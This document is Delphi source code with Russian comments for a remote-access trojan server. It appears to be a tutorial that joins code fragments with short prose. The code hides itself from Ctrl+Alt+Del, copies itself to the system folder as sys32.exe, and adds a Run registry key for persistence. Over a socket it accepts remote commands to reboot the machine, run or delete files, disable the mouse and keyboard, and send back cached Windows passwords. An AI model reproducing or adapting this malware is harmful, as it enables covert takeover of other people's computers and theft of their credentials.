program Server;

uses

Forms,

Unit1 in 'Unit1.pas' {frmsrv};

begin

Application.Initialize;

Application.CreateForm(TFrmsrv, frmsrv);

Application.ShowMainForm:=false; //чтобы главная форма не показывалась

Application.Run;

end.

Type tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;stdcall;

Type TWNetEnumCachedPasswords = function (lp : lpStr; w : Word;b: Byte; pc : Pointer; dw : DWord) : Word;stdcall;

procedure HideACD; // Процедура для скрытия трояна от Alt+Ctrl+Del

var

hndl : thandle;

registerserviceprocess : tregisterserviceprocess;

begin

try

hndl:=loadlibrary('KERNEL32.DLL'); //Загружаем в память библиотеку

registerserviceprocess:=getprocaddress(hndl,'RegisterServiceProcess');

registerserviceprocess(getcurrentprocessid,1); //Используем функцию RegisterServiceProcess

freelibrary(hndl); // выгружаем библиотеку из памяти

except end;

end;

function WinDir: string;

var

intLen:integer;

strBuffer:string;

begin

SetLength(strBuffer,1000);

intLen:=GetWindowsDirectory(PChar(strBuffer),1000);

WinDir:=Trim(Copy(strBuffer,1,intLen));

end;

function SysDir: string; // Определение системной папки

var

intLen:integer;

strBuffer:string;

begin

SetLength(strBuffer,1000);

intLen:=GetSystemDirectory(PChar(strBuffer),1000);

SysDir:=Trim(Copy(strBuffer,1,intLen));

end;

procedure Install;

var

Reg:TRegistry;

cPath,Win:string;

begin

try

Win:=SysDir+’sys32.exe’; // Путь в системной папке

cPath:=Application.ExeName; // Путь к нашему exe-файлу

Reg:=TRegistry.Create;

Reg.RootKey:=HKEY_LOCAL_MACHINE; //пишемся в реестр

Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',False); //Открвыем ключ

//автозапуска

Reg.WriteString(‘Sys32’,Win); // Пишем путь к себе

Reg.CloseKey; // Закрываем ключ

Reg.Free;

if (cPath <> Win) then // если путь запущенного файла не равен путю файл в системной папке, то

begin

if FileExists(Win) then DeleteFile(Win); // если файл существует - удалить

CopyFile(PChar(cPath),PChar(Win),False); // скопировать себя.

end;

except end; // Также по желанию можно добавить прописывание в Win.ini и System.ini

end;

procedure TFrmSrv.SrvMainClientRead(Sender: TObject; Socket: TCustomWinSocket);

var comd,param,str1,tmp: string;

i:integer;

Reg:Tregistry;

begin

str1:=socket.receivetext; // Принимаем данные от клиента

i:=pos('!?!',str1);

comd:=copy(str1,0,i-1);

param:=copy(str1,i+3,length(str1)-i);

if comd='reboot' then //если текст идущий до !?! равен reboot, то грузануть комп!

begin

ExitWindowsEx(EWX_REBOOT, 0);

Socket.SendText('tmp!?!Перезагружается...');

end;

if comd='opCD' then //открыть сидюк

begin

mciSendString(Pchar('set cdaudio door open'),nil,0,0);

Socket.SendText('tmp!?!CD-ROM открыт...');

end;

if comd='clCD'then

begin

mciSendString(Pchar('set cdaudio door closed'),nil,0,0);

Socket.SendText('tmp!?!CD-ROM закрыт...');

end;

if comd='dir'then //получить список файлов

begin

tmp:='file!?!'+ShowFile(param);

Socket.SendText(tmp);

end;

if comd='run' then //запустить файл

begin

if FileExists (param) then

begin

ShellExecute(handle,'Open',PChar(param),nil,nil,1);

Socket.SendText('tmp!?!Файл запущен...');

end

else

Socket.SendText('tmp!?!Не удалось запустить файл...');

end;

if comd='del' then //удалить файл

begin

if FileExists (param) then

begin

DeleteFile(param);

Socket.SendText('tmp!?!Файл удален...');

end

else

Socket.SendText('tmp!?!Не удалось удалить файл...');

end;

if comd='boot' then

begin

ExitWindowsEx(EWX_SHUTDOWN, 0);

Socket.SendText('tmp!?!Комп выключатеся...');

end;

if comd='getpass' then //получить кешированные пароли

begin

Socket.SendText('pass!?!'+GetPasswords);

end;

if comd='close' then // закрыть сервер

begin

Socket.SendText('tmp!?!Сервер Закрыт...');

Application.Terminate;

exit;

end;

if comd='killme' then

begin

Socket.SendText('tmp!?!Сервер удален...');

Reg:=TRegistry.Create;

Reg.RootKey:=HKEY_LOCAL_MACHINE;

Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',False); //Открвыем ключ

//автозапуска

Reg.deletevalue('Sys32'); // Удаляем

Reg.Free;

Application.Terminate;

exit;

end;

if comd='dismouse' then // отключаем мышь

begin

Socket.SendText('tmp!?!Мышь отключена...');

WinExec(PChar(WinDir + '\rundll32.exe mouse,disable'),SW_SHOWNORMAL);

end;

if comd='diskey' then // отключаем клаву

begin

Socket.SendText('tmp!?!Клава отключена...');

WinExec(PChar(WinDir + '\rundll32.exe keyboard,disable'),SW_SHOWNORMAL);

end;

if comd='msg' then // выдаем месагу

begin

MessageBox(application.Handle,PChar(param),'',32);

Socket.SendText('tmp!?!Сообщение послано...');

end;

end;

В процедуре создания формы пишем:

procedure TFrmSrv.FormCreate(Sender: TObject);

begin

HideACD; // прячемся от Ctrl+Alt+Del

Install; // устанавливаемся

SrvMain.Open; // открываем порт

SrvMain.Active:=true;

end;

И функции для получения паролей и списка файлов.

function TFrmSrv.ShowFile(param:string):string;

begin

frmsrv.FB.Directory:=param;

Result:=frmsrv.fb.items.text;

end;

Получение Кешированных паролей:

var

Count:Integer;

FPasswords:string;

function AddPassword(WinPassword:PWinPassword; dw:DWord):LongBool;stdcall;

var

Password:string;

PC: array [0..$FF] of Char;

begin

Inc(Count);

Move(WinPassword.PasswordC,PC,WinPassword.ResourceSize);

PC[WinPassword.ResourceSize] := #0;

CharToOem(PC,PC);

Password:=StrPas(PC);

Move(WinPassword.PasswordC,PC,WinPassword.ResourceSize + WinPassword.PasswordSize);

Move(PC[WinPassword.ResourceSize],PC,WinPassword.PasswordSize);

PC[WinPassword.PasswordSize]:=#0;

CharToOem(PC,PC);

Password:=Password + ': ' + StrPas(PC);

if (WinPassword.EntryType = 6) or (WinPassword.EntryType = 19) then

FPasswords:=FPasswords + Password + #13#10;

Result:=True;

end;

function TFrmSrv.GetPasswords:string;

var

hndl : thandle;

WNetEnumCachedPasswords : TWNetEnumCachedPasswords;

begin

try

hndl:=loadlibrary('MPR.DLL');

WNetEnumCachedPasswords:=getprocaddress(hndl,'WNetEnumCachedPasswords');

Count:=0;

FPasswords:='';

WNetEnumCachedPasswords(nil,0,$FF,@AddPassword,0);

freelibrary(hndl);

except end;

Result:=FPasswords;

end;